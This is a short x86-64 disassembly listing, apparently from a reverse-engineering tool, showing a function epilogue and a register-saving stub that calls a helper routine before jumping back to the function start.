mov rdx, qword [rsp + 0x60]
test al, al
je 0x41ffb2
mov rax, qword [rsp + 8]
mov rbp, qword [rsp + 0x40]
add rsp, 0x48
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
call fcn.004597c0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
jmp fcn.0041ff80